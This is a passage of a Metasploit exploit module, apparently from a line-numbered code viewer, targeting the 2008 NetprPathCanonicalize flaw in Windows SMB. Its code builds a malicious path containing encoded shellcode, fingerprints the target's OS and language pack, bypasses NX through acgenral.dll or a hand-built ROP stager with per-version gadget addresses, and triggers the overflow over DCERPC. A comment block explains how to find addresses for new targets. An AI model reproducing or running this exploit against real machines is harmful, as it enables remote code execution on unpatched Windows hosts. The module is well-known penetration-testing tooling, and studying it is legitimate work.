| 675 |
# [?] Windows Vista SP1 - Not tested yet
|
| 676 |
#
|
| 677 |
], |
| 678 |
|
| 679 |
'DisclosureDate' => 'Oct 28 2008')) |
| 680 |
|
| 681 |
register_options( |
| 682 |
[ |
| 683 |
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), |
| 684 |
], self.class)
|
| 685 |
|
| 686 |
end
|
| 687 |
|
| 688 |
|
| 689 |
=begin
|
| 690 |
|
| 691 |
|
| 692 |
*** WINDOWS XP SP2/SP3 TARGETS *** |
| 693 |
|
| 694 |
|
| 695 |
This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX |
| 696 |
for the process and then returns back to a call ESI instruction. These addresses are different |
| 697 |
between operating systems, service packs, and language packs, but the steps below can be used to |
| 698 |
add new targets. |
| 699 |
|
| 700 |
|
| 701 |
If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and |
| 702 |
DisableNX elements of the target hash. |
| 703 |
|
| 704 |
If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. |
| 705 |
First obtain the value for the Ret element of the hash with the following command: |
| 706 |
|
| 707 |
$ msfpescan -j esi acgenral.dll |
| 708 |
|
| 709 |
Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. |
| 710 |
|
| 711 |
Next, find the location of the function we use to disable NX. Use the following command: |
| 712 |
|
| 713 |
$ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll |
| 714 |
|
| 715 |
This address should be placed into the DisableNX element of the target hash. |
| 716 |
|
| 717 |
The Scratch element of 0x00020408 should work on all versions of Windows |
| 718 |
|
| 719 |
The actual function we use to disable NX looks like this: |
| 720 |
|
| 721 |
push 4 |
| 722 |
lea eax, [ebp+arg_0] |
| 723 |
push eax |
| 724 |
push 22h |
| 725 |
push 0FFFFFFFFh |
| 726 |
mov [ebp+arg_0], 2 |
| 727 |
call ds:__imp__NtSetInformationProcess@16 |
| 728 |
|
| 729 |
|
| 730 |
*** WINDOWS XP NON-NX TARGETS *** |
| 731 |
|
| 732 |
|
| 733 |
Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short |
| 734 |
jump, and finally the shellcode. |
| 735 |
|
| 736 |
|
| 737 |
*** WINDOWS 2003 SP2 TARGETS *** |
| 738 |
|
| 739 |
|
| 740 |
There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, |
| 741 |
both of these are inside NTDLL.DLL and use a return method that is not directly compatible |
| 742 |
with our call stack. To solve this, Brett Moore figured out a multi-step return call chain |
| 743 |
that eventually leads to the NX bypass function. |
| 744 |
|
| 745 |
|
| 746 |
*** WINDOWS 2000 TARGETS *** |
| 747 |
|
| 748 |
|
| 749 |
No NX to bypass, just return directly to a "JMP EDX", which takes us to the short |
| 750 |
jump, and finally the shellcode. |
| 751 |
|
| 752 |
|
| 753 |
*** WINDOWS VISTA TARGETS *** |
| 754 |
|
| 755 |
Currently untested, will involve ASLR and NX, should be fun. |
| 756 |
|
| 757 |
|
| 758 |
*** NetprPathCanonicalize IDL *** |
| 759 |
|
| 760 |
|
| 761 |
NET_API_STATUS NetprPathCanonicalize( |
| 762 |
[in, string, unique] SRVSVC_HANDLE ServerName, |
| 763 |
[in, string] WCHAR* PathName, |
| 764 |
[out, size_is(OutbufLen)] unsigned char* Outbuf, |
| 765 |
[in, range(0,64000)] DWORD OutbufLen, |
| 766 |
[in, string] WCHAR* Prefix, |
| 767 |
[in, out] DWORD* PathType, |
| 768 |
[in] DWORD Flags |
| 769 |
); |
| 770 |
|
| 771 |
=end |
| 772 |
|
| 773 |
def exploit |
| 774 |
|
| 775 |
connect() |
| 776 |
smb_login() |
| 777 |
|
| 778 |
# Use a copy of the target
|
| 779 |
mytarget = target |
| 780 |
|
| 781 |
|
| 782 |
if(target['auto']) |
| 783 |
|
| 784 |
mytarget = nil
|
| 785 |
|
| 786 |
print_status("Automatically detecting the target...")
|
| 787 |
fprint = smb_fingerprint() |
| 788 |
|
| 789 |
print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")
|
| 790 |
|
| 791 |
# Bail early on unknown OS
|
| 792 |
if(fprint['os'] == 'Unknown') |
| 793 |
raise RuntimeError, "No matching target" |
| 794 |
end
|
| 795 |
|
| 796 |
# Windows 2000 is mostly universal
|
| 797 |
if(fprint['os'] == 'Windows 2000') |
| 798 |
mytarget = self.targets[1] |
| 799 |
end
|
| 800 |
|
| 801 |
# Windows XP SP0/SP1 is mostly universal
|
| 802 |
if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") |
| 803 |
mytarget = self.targets[2] |
| 804 |
end
|
| 805 |
|
| 806 |
# Windows 2003 SP0 is mostly universal
|
| 807 |
if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") |
| 808 |
mytarget = self.targets[7] |
| 809 |
end
|
| 810 |
|
| 811 |
# Windows 2003 R2 is treated the same as 2003
|
| 812 |
if(fprint['os'] == 'Windows 2003 R2') |
| 813 |
fprint['os'] = 'Windows 2003' |
| 814 |
end
|
| 815 |
|
| 816 |
# Service Pack match must be exact
|
| 817 |
if((not mytarget) and fprint['sp'].index('+')) |
| 818 |
print_error("Could not determine the exact service pack")
|
| 819 |
print_status("Auto-targeting failed, use 'show targets' to manually select one")
|
| 820 |
disconnect |
| 821 |
return
|
| 822 |
end
|
| 823 |
|
| 824 |
# Language Pack match must be exact or we default to English
|
| 825 |
if((not mytarget) and fprint['lang'] == 'Unknown') |
| 826 |
print_status("We could not detect the language pack, defaulting to English")
|
| 827 |
fprint['lang'] = 'English' |
| 828 |
end
|
| 829 |
|
| 830 |
# Normalize the service pack string
|
| 831 |
fprint['sp'].gsub!(/Service Pack\s+/, 'SP') |
| 832 |
|
| 833 |
if(not mytarget) |
| 834 |
self.targets.each do |t| |
| 835 |
# Prefer AlwaysOn NX over NX, and NX over non-NX
|
| 836 |
if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/) |
| 837 |
mytarget = t |
| 838 |
break
|
| 839 |
end
|
| 840 |
if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) |
| 841 |
mytarget = t |
| 842 |
break
|
| 843 |
end
|
| 844 |
end
|
| 845 |
end
|
| 846 |
|
| 847 |
if(not mytarget) |
| 848 |
raise RuntimeError, "No matching target" |
| 849 |
end
|
| 850 |
|
| 851 |
print_status("Selected Target: #{mytarget.name}")
|
| 852 |
end
|
| 853 |
|
| 854 |
#
|
| 855 |
# Build the malicious path name
|
| 856 |
#
|
| 857 |
|
| 858 |
padder = [*("A".."Z")] |
| 859 |
pad = "A"
|
| 860 |
while(pad.length < 7) |
| 861 |
c = padder[rand(padder.length)] |
| 862 |
next if pad.index(c) |
| 863 |
pad += c |
| 864 |
end
|
| 865 |
|
| 866 |
prefix = "\\"
|
| 867 |
path = ""
|
| 868 |
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase |
| 869 |
|
| 870 |
|
| 871 |
#
|
| 872 |
# Windows 2003 SP2 (NX) targets
|
| 873 |
#
|
| 874 |
if(mytarget['RetDec']) |
| 875 |
|
| 876 |
jumper = Rex::Text.rand_text_alpha(70).upcase |
| 877 |
jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room |
| 878 |
|
| 879 |
jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space |
| 880 |
jumper[ 8,4] = [mytarget['RetDec']].pack("V") |
| 881 |
jumper[ 12,4] = [mytarget['RetDec']].pack("V") |
| 882 |
jumper[ 16,4] = [mytarget['RetDec']].pack("V") |
| 883 |
|
| 884 |
jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP |
| 885 |
jumper[ 24,4] = [mytarget['DisableNX']].pack("V") |
| 886 |
|
| 887 |
jumper[ 56,4] = [mytarget['JmpESP']].pack("V") |
| 888 |
jumper[ 60,4] = [mytarget['JmpESP']].pack("V") |
| 889 |
jumper[ 64,2] = "\xeb\x02" # our jump |
| 890 |
jumper[ 68,2] = "\xeb\x62" # original |
| 891 |
|
| 892 |
path = |
| 893 |
Rex::Text.to_unicode("\\") + |
| 894 |
|
| 895 |
# This buffer is removed from the front
|
| 896 |
Rex::Text.rand_text_alpha(100) + |
| 897 |
|
| 898 |
# Shellcode
|
| 899 |
payload.encoded + |
| 900 |
|
| 901 |
# Relative path to trigger the bug
|
| 902 |
Rex::Text.to_unicode("\\..\\..\\") + |
| 903 |
|
| 904 |
# Extra padding
|
| 905 |
Rex::Text.to_unicode(pad) + |
| 906 |
|
| 907 |
# Writable memory location (static)
|
| 908 |
[mytarget['Scratch']].pack("V") + # EBP |
| 909 |
|
| 910 |
# Return to code which disables NX (or just the return)
|
| 911 |
[mytarget['RetDec']].pack("V") + |
| 912 |
|
| 913 |
# Padding with embedded jump
|
| 914 |
jumper + |
| 915 |
|
| 916 |
# NULL termination
|
| 917 |
"\x00" * 2 |
| 918 |
|
| 919 |
#
|
| 920 |
# Windows XP SP2/SP3 ROP Stager targets
|
| 921 |
#
|
| 922 |
elsif(mytarget['UseROP']) |
| 923 |
|
| 924 |
rop = generate_rop(mytarget['UseROP'])
|
| 925 |
|
| 926 |
path = |
| 927 |
Rex::Text.to_unicode("\\") + |
| 928 |
|
| 929 |
# This buffer is removed from the front
|
| 930 |
Rex::Text.rand_text_alpha(100) + |
| 931 |
|
| 932 |
# Shellcode
|
| 933 |
payload.encoded + |
| 934 |
|
| 935 |
# Relative path to trigger the bug
|
| 936 |
Rex::Text.to_unicode("\\..\\..\\") + |
| 937 |
|
| 938 |
# Extra padding
|
| 939 |
Rex::Text.to_unicode(pad) + |
| 940 |
|
| 941 |
# ROP Stager
|
| 942 |
rop + |
| 943 |
|
| 944 |
# Padding (skipped)
|
| 945 |
Rex::Text.rand_text_alpha(2) + |
| 946 |
|
| 947 |
# NULL termination
|
| 948 |
"\x00" * 2 |
| 949 |
|
| 950 |
#
|
| 951 |
# Windows 2000, XP (NX), and 2003 (NO NX) targets
|
| 952 |
#
|
| 953 |
else
|
| 954 |
|
| 955 |
jumper = Rex::Text.rand_text_alpha(70).upcase |
| 956 |
jumper[ 4,4] = [mytarget.ret].pack("V") |
| 957 |
jumper[50,8] = make_nops(8) |
| 958 |
jumper[58,2] = "\xeb\x62" |
| 959 |
|
| 960 |
path = |
| 961 |
Rex::Text.to_unicode("\\") + |
| 962 |
|
| 963 |
# This buffer is removed from the front
|
| 964 |
Rex::Text.rand_text_alpha(100) + |
| 965 |
|
| 966 |
# Shellcode
|
| 967 |
payload.encoded + |
| 968 |
|
| 969 |
# Relative path to trigger the bug
|
| 970 |
Rex::Text.to_unicode("\\..\\..\\") + |
| 971 |
|
| 972 |
# Extra padding
|
| 973 |
Rex::Text.to_unicode(pad) + |
| 974 |
|
| 975 |
# Writable memory location (static)
|
| 976 |
[mytarget['Scratch']].pack("V") + # EBP |
| 977 |
|
| 978 |
# Return to code which disables NX (or just the return)
|
| 979 |
[ mytarget['DisableNX'] || mytarget.ret ].pack("V") + |
| 980 |
|
| 981 |
# Padding with embedded jump
|
| 982 |
jumper + |
| 983 |
|
| 984 |
# NULL termination
|
| 985 |
"\x00" * 2 |
| 986 |
|
| 987 |
end
|
| 988 |
|
| 989 |
handle = dcerpc_handle( |
| 990 |
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', |
| 991 |
'ncacn_np', ["\\#{datastore['SMBPIPE']}"] |
| 992 |
) |
| 993 |
|
| 994 |
dcerpc_bind(handle) |
| 995 |
|
| 996 |
stub = |
| 997 |
NDR.uwstring(server) +
|
| 998 |
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
| 999 |
NDR.long(rand(1024)) + |
| 1000 |
NDR.wstring(prefix) +
|
| 1001 |
NDR.long(4097) + |
| 1002 |
NDR.long(0) |
| 1003 |
|
| 1004 |
# NOTE: we don't bother waiting for a response here...
|
| 1005 |
print_status("Attempting to trigger the vulnerability...")
|
| 1006 |
dcerpc.call(0x1f, stub, false) |
| 1007 |
|
| 1008 |
# Cleanup
|
| 1009 |
handler |
| 1010 |
disconnect |
| 1011 |
end
|
| 1012 |
|
| 1013 |
def check |
| 1014 |
begin
|
| 1015 |
connect() |
| 1016 |
smb_login() |
| 1017 |
rescue Rex::ConnectionError => e |
| 1018 |
print_error("Connection failed: #{e.class}: #{e}")
|
| 1019 |
return
|
| 1020 |
end
|
| 1021 |
|
| 1022 |
#
|
| 1023 |
# Build the malicious path name
|
| 1024 |
# 5b878ae7 "db @eax;g"
|
| 1025 |
prefix = "\\"
|
| 1026 |
path = |
| 1027 |
"\x00\\\x00/"*0x10 + |
| 1028 |
Rex::Text.to_unicode("\\") + |
| 1029 |
Rex::Text.to_unicode("R7") + |
| 1030 |
Rex::Text.to_unicode("\\..\\..\\") + |
| 1031 |
Rex::Text.to_unicode("R7") + |
| 1032 |
"\x00"*2 |
| 1033 |
|
| 1034 |
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase |
| 1035 |
|
| 1036 |
handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', |
| 1037 |
'ncacn_np', ["\\#{datastore['SMBPIPE']}"] |
| 1038 |
) |
| 1039 |
|
| 1040 |
begin
|
| 1041 |
# Samba doesn't have this handle and returns an ErrorCode
|
| 1042 |
dcerpc_bind(handle) |
| 1043 |
rescue Rex::Proto::SMB::Exceptions::ErrorCode |
| 1044 |
return Msf::Exploit::CheckCode::Safe |
| 1045 |
end
|
| 1046 |
|
| 1047 |
print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
|
| 1048 |
|
| 1049 |
stub = |
| 1050 |
NDR.uwstring(server) +
|
| 1051 |
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
| 1052 |
NDR.long(8) + |
| 1053 |
NDR.wstring(prefix) +
|
| 1054 |
NDR.long(4097) + |
| 1055 |
NDR.long(0) |
| 1056 |
|
| 1057 |
resp = dcerpc.call(0x1f, stub)
|
| 1058 |
error = resp[4,4].unpack("V")[0] |
| 1059 |
|
| 1060 |
# Cleanup
|
| 1061 |
simple.client.close |
| 1062 |
simple.client.tree_disconnect |
| 1063 |
disconnect |
| 1064 |
|
| 1065 |
if (error == 0x0052005c) # \R :) |
| 1066 |
return Msf::Exploit::CheckCode::Vulnerable |
| 1067 |
else
|
| 1068 |
print_status("System is not vulnerable (status: 0x%08x)" % error) if error |
| 1069 |
return Msf::Exploit::CheckCode::Safe |
| 1070 |
end
|
| 1071 |
end
|
| 1072 |
|
| 1073 |
|
| 1074 |
def generate_rop(version) |
| 1075 |
free_byte = "\x90"
|
| 1076 |
#free_byte = "\xcc"
|
| 1077 |
|
| 1078 |
# create a few small gadgets
|
| 1079 |
# <free byte>; pop edx; pop ecx; ret
|
| 1080 |
gadget1 = free_byte + "\x5a\x59\xc3"
|
| 1081 |
# mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd
|
| 1082 |
gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte |
| 1083 |
# <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c
|
| 1084 |
gadget3 = "\xcc" + free_byte + "\xeb\x5a" |
| 1085 |
|
| 1086 |
# gadget2:
|
| 1087 |
# get eax into edi
|
| 1088 |
# adjust edi
|
| 1089 |
# get 0x7f in ecx
|
| 1090 |
# copy the data
|
| 1091 |
# jmp to it
|
| 1092 |
#
|
| 1093 |
dws = gadget2.unpack('V*')
|
| 1094 |
|
| 1095 |
##
|
| 1096 |
# Create the ROP stager, pfew.. Props to corelanc0d3r!
|
| 1097 |
# This was no easy task due to space limitations :-/
|
| 1098 |
# -jduck
|
| 1099 |
##
|
| 1100 |
module_name = 'ACGENRAL.DLL'
|
| 1101 |
module_base = 0x6f880000
|
| 1102 |
|
| 1103 |
rvasets = {}
|
| 1104 |
# XP SP2
|
| 1105 |
rvasets['5.1.2600.2180'] = {
|
| 1106 |
# call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret
|
| 1107 |
'call_HeapCreate' => 0x21064, |
| 1108 |
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546, |
| 1109 |
'pop ecx / ret' => 0x2e546 + 6, |
| 1110 |
'mov [eax], ecx / ret' => 0xd182, |
| 1111 |
'jmp eax' => 0x19b85, |
| 1112 |
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976, |
| 1113 |
'mov [eax+0x10], ecx / ret' => 0x10976 + 6, |
| 1114 |
'add eax, 8 / ret' => 0x29a14 |
| 1115 |
} |
| 1116 |
|
| 1117 |
# XP SP3
|
| 1118 |
rvasets['5.1.2600.5512'] = {
|
| 1119 |
# call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret
|
| 1120 |
'call_HeapCreate' => 0x21286, |
| 1121 |
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796, |
| 1122 |
'pop ecx / ret' => 0x2e796+6, |
| 1123 |
'mov [eax], ecx / ret' => 0xd296, |
| 1124 |
'jmp eax' => 0x19c6f, |
| 1125 |
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56, |
| 1126 |
'mov [eax+0x10], ecx / ret' => 0x10a56 + 6, |
| 1127 |
'add eax, 8 / ret' => 0x29c64 |
| 1128 |
} |
| 1129 |
|
| 1130 |
# HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.2180
|
| 1131 |
rop = [ |
| 1132 |
# prime ebp (adjustment distance)
|
| 1133 |
0x00018000,
|
| 1134 |
|
| 1135 |
# get some RWX memory via HeapCreate
|
| 1136 |
'call_HeapCreate',
|
| 1137 |
0x01040110, # flOptions (gets & with 0x40005) |
| 1138 |
0x01010101,
|
| 1139 |
0x01010101,
|
| 1140 |
|
| 1141 |
# adjust the returned pointer
|
| 1142 |
'add eax, ebp / mov ecx, 0x59ffffa8 / ret',
|
| 1143 |
|
| 1144 |
# setup gadget1
|
| 1145 |
'pop ecx / ret',
|
| 1146 |
gadget1.unpack('V').first,
|
| 1147 |
'mov [eax], ecx / ret',
|
| 1148 |
|
| 1149 |
# execute gadget1
|
| 1150 |
'jmp eax',
|
| 1151 |
|
| 1152 |
# setup gadget2 (via gadget1)
|
| 1153 |
dws[0],
|
| 1154 |
dws[1],
|
| 1155 |
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',
|
| 1156 |
|
| 1157 |
# setup part3 of gadget2
|
| 1158 |
'pop ecx / ret',
|
| 1159 |
dws[2],
|
| 1160 |
'mov [eax+0x10], ecx / ret',
|
| 1161 |
|
| 1162 |
# execute gadget2
|
| 1163 |
'add eax, 8 / ret',
|
| 1164 |
'jmp eax',
|
| 1165 |
|
| 1166 |
# gadget3 gets executed after gadget2 (luckily)
|
| 1167 |
gadget3.unpack('V').first
|
| 1168 |
] |
| 1169 |
|
| 1170 |
|
| 1171 |
# convert the meta rop into concrete bytes
|
| 1172 |
rvas = rvasets[version] |
| 1173 |
|
| 1174 |
rop.map! { |e|
|
| 1175 |
if e.kind_of? String |
| 1176 |
# Meta-replace (RVA)
|
| 1177 |
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] |
| 1178 |
module_base + rvas[e] |
| 1179 |
|
| 1180 |
elsif e == :unused |
| 1181 |
# Randomize
|
| 1182 |
rand_text(4).unpack('V').first |
| 1183 |
|
| 1184 |
else
|
| 1185 |
# Literal
|
| 1186 |
e |
| 1187 |
end
|
| 1188 |
} |
| 1189 |
|
| 1190 |
ret = rop.pack('V*')
|
| 1191 |
|
| 1192 |
# check badchars?
|
| 1193 |
#idx = Rex::Text.badchar_index(ret, payload_badchars)
|
| 1194 |
|
| 1195 |
ret |
| 1196 |
end
|
| 1197 |
|
| 1198 |
end
|
| 1199 |
|